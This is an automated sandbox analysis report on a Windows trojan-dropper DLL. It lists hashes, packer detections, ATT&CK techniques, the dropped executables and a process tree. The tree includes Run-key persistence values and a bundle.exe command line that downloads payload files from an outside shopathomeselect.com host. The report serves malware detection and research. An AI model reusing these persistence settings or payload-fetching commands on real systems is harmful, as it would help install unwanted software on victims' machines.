c5f8166531c284634a436d8dcdfeb263ae4283f5c03f2cae8be051694e5035b8

Analysis

max time kernel
149s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/10/2026, 19:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_Trojan-Dropper.Win32.Small.abe.dll
Size 147KB
Sample261009-yf1lesbs8r
SHA256 c5f8166531c284634a436d8dcdfeb263ae4283f5c03f2cae8be051694e5035b8
MD5 44d35a8c444ca0c99040b598c6393d71
SHA1 b0139ad6ec29fd78273cf100ef6a00a833d473aa
SHA512 e6918c1e5dccd32988e28aa1e0431391985e0d40c646cc23c07599baabcaadf1cd14c6b91a8455bd8062e08bc1cbd3a16638840b7cd826066ffad400bff24a2d
SSDEEP 3072:B+j5P4uPC/67Hx6JnLzpNg7i6Utr7gxakGpgiQzYyl7YWxGkzUZI:Mjmj/JBC6ria7TI/YW4kQ
TLSH
T165E312843812A991F596D6339C6CEDA122677F554A2274653FF0F3EE0C372F2AE14B06
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

aspackv2 discovery persistence upx

Malware Config

Signatures

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x00070000000004e8-4.dat	aspack_v212_v242

Executes dropped EXE 6 IoCs

pid	Process
3460	bdlz4012.exe
2388	ezStub.exe
2224	ezStub.exe
4476	sahagent1019.exe
1724	bundle.exe
4284	bundle.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\eZstub = "C:\\Windows\\SysWOW64\\ezStub.exe"	ezStub.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\SAHBundle = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bundle.exe"	bundle.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\SAHBundle = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bundle.exe"	bundle.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\bdlz4012.exe	regsvr32.exe
File created	C:\Windows\SysWOW64\ezStub.exe	regsvr32.exe
File created	C:\Windows\SysWOW64\sahagent1019.exe	regsvr32.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4020-1-0x0000000010000000-0x000000001002E000-memory.dmp	upx
behavioral1/memory/4020-15-0x0000000010000000-0x000000001002E000-memory.dmp	upx
behavioral1/files/0x0008000000024215-19.dat	upx
behavioral1/memory/2388-28-0x0000000000400000-0x0000000000415000-memory.dmp	upx
behavioral1/memory/2224-30-0x0000000000400000-0x0000000000415000-memory.dmp	upx
behavioral1/memory/2224-33-0x0000000000400000-0x0000000000415000-memory.dmp	upx
behavioral1/memory/2388-56-0x0000000000400000-0x0000000000415000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\wininit.ini	bdlz4012.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4696	2388	WerFault.exe	97

Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	bdlz4012.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	bdlz4012.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ezStub.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	bundle.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	bundle.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	bundle.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	bundle.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ezStub.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bdlz4012.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ezStub.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ezStub.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sahagent1019.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bundle.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bundle.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\ = "exe_in_dll 1.0 Type Library"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\FLAGS	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\FLAGS\ = "0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\0\win32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\jaffacakes118_Trojan-Dropper.Win32.Small.abe.dll"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\HELPDIR	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\0	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{53F066F0-A4C0-4F46-83EB-2DFD03F938CF}\1.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3460	bdlz4012.exe
3460	bdlz4012.exe
3460	bdlz4012.exe
3460	bdlz4012.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4012 wrote to memory of 4020	4012	regsvr32.exe	87
PID 4020 wrote to memory of 3460	4020	regsvr32.exe	89
PID 4020 wrote to memory of 2388	4020	regsvr32.exe	97
PID 4020 wrote to memory of 4476	4020	regsvr32.exe	100
PID 4476 wrote to memory of 1724	4476	sahagent1019.exe	101

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Dropper.Win32.Small.abe.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:4012
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan-Dropper.Win32.Small.abe.dll
  2⤵
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4020
- - C:\Windows\SysWOW64\bdlz4012.exe
    "C:\Windows\System32\bdlz4012.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3460
- - C:\Windows\SysWOW64\ezStub.exe
    "C:\Windows\System32\ezStub.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    PID:2388
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2388 -s 944
      4⤵
      Program crash
      PID:4696
- - C:\Windows\SysWOW64\sahagent1019.exe
    "C:\Windows\System32\sahagent1019.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4476
  - - C:\Users\Admin\AppData\Local\Temp\bundle.exe
      "C:\Users\Admin\AppData\Local\Temp\bundle.exe" download1.shopathomeselect.com/mindset/mindset1019.sah#bunSetup.cab#download1.shopathomeselect.com/mindset/bunSetup.cab#www.shopathomeselect.com/agent2/agentprefs2.sah
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      PID:1724

C:\Windows\SysWOW64\ezStub.exe
C:\Windows\SysWOW64\ezStub.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2224

C:\Users\Admin\AppData\Local\Temp\bundle.exe
C:\Users\Admin\AppData\Local\Temp\bundle.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
PID:4284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 2388 -ip 2388
1⤵
PID:1508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bundle.exe

Path C:\Users\Admin\AppData\Local\Temp\bundle.exe
Size 41KB
SHA256 51afcf0fc7f10265c37fb996c522c6445ac308c9213e4b4bbfa40101fca028c6
MD5 4a12f5cc77436d6286b04dc38c167b23
SHA1 0c51b43c0a209cffad08ade4b309646cf9c6aa5d
SHA512 3160fc0624592039ffa168c3477179edf504757e46443e8867802222523297b95c03c8ddf0fe1a1f017a0dbad6b49ec18ab87f558a0f3023ab8dac83fe8241a3
SSDEEP 768:7rXU7v6tVAMwfZztQdJKm6cuRJbBIcybPgiJqgLa1f3+Hzqx2H5nDF:HXEv6IMwRzcU52bXLaYHh5nDF
TLSH
T1A8134B077D118032C38409B18AE82ADED7B7B2B88AE1545FE7D48E7C5CA5B91DE01F6D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bdlz4012.exe

Path C:\Windows\SysWOW64\bdlz4012.exe
Size 64KB
SHA256 42246c5e88f14422344de5cd3d3e67be33bff658b77edf0cd0366cef7c94acc3
MD5 6f91e7753cbe3f33e1b3ea3395c0929f
SHA1 aa44631b0284556fd3931ba84ecea2eee94b44a3
SHA512 6153395b4c90b23a8c022ffc1f5ae8b6b3d444902c02812e721db15b425362256491bd545142aa02e566540d0a3a3ee5bd0ae168d70e1a817ac8f54e44dfb431
SSDEEP 1536:X3N5MfqiIDHxoqFlLChkImn/0Tzoef3CuEYUDjMtM8+XkI:3MfqiILyuLCE/83CubUDjeMB
TLSH
T1CE53F111989618ACF9DB0033A0EAAD670476FD6056B3D69606A013FD3C22769DDCCB22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ezStub.exe

Path C:\Windows\SysWOW64\ezStub.exe
Size 32KB
SHA256 64eed38d5ec597adaff7c508bf76d79378827a0475c07315cacc280a82af6fb9
MD5 563b9882ba46c36350dd28e5f73df163
SHA1 251ac27320b42301338b31d4b6f79d5d45951a2c
SHA512 6cb310048387229feb3d409f2b40d12ae3750570f59842ee868b62c899f81310e8e0a62f594f91b3b8360b827a55d018d7a3655a1431da18a96f73a334f5d7ad
SSDEEP 768:5Sx8NaaXbEjQ68t/GofoNGjB18yrciQhBWzQdxZa:SvccmB6yYHWzL
TLSH
T185E2D08673E74EE2F1C6A2712EF643D2429CBC188D5652DB7A11331F0EB71C5EC169A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sahagent1019.exe

Path C:\Windows\SysWOW64\sahagent1019.exe
Size 53KB
SHA256 062cf8f1cfdbdff0704167da3a0e57f6f49d784a398a7bb48993bcc4c4fa79b6
MD5 8c947e1d5f8872596ca6d6032eba7c6c
SHA1 35fab5abc538a0bbf05ee53bf9082d62bd204805
SHA512 fd528a42a49456475524bc803f41aaad5c2b0843aee86392033731624ddd5953426d20e79451e69bc7da0a5fc53b24f1856daccf6ae6e14a9c88bd82af321071
SSDEEP 1536:E8naP2D22/muSD6d68BrJBDdppUcr1cbihw6b:Eg22/dBrJBDdpRWmhBb
TLSH
T14843D06B7AE08CF3EBE341B14D765F78F77AA2131914058703E81FB66D7A1424A093DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2224-30-0x0000000000400000-0x0000000000415000-memory.dmp

Download

memory/2224-33-0x0000000000400000-0x0000000000415000-memory.dmp

Download

memory/2388-28-0x0000000000400000-0x0000000000415000-memory.dmp

Download

memory/2388-56-0x0000000000400000-0x0000000000415000-memory.dmp

Download

memory/3460-11-0x0000000000400000-0x0000000000428000-memory.dmp

Download

memory/3460-14-0x0000000000400000-0x0000000000428000-memory.dmp

Download

memory/4020-1-0x0000000010000000-0x000000001002E000-memory.dmp

Download

memory/4020-15-0x0000000010000000-0x000000001002E000-memory.dmp

Download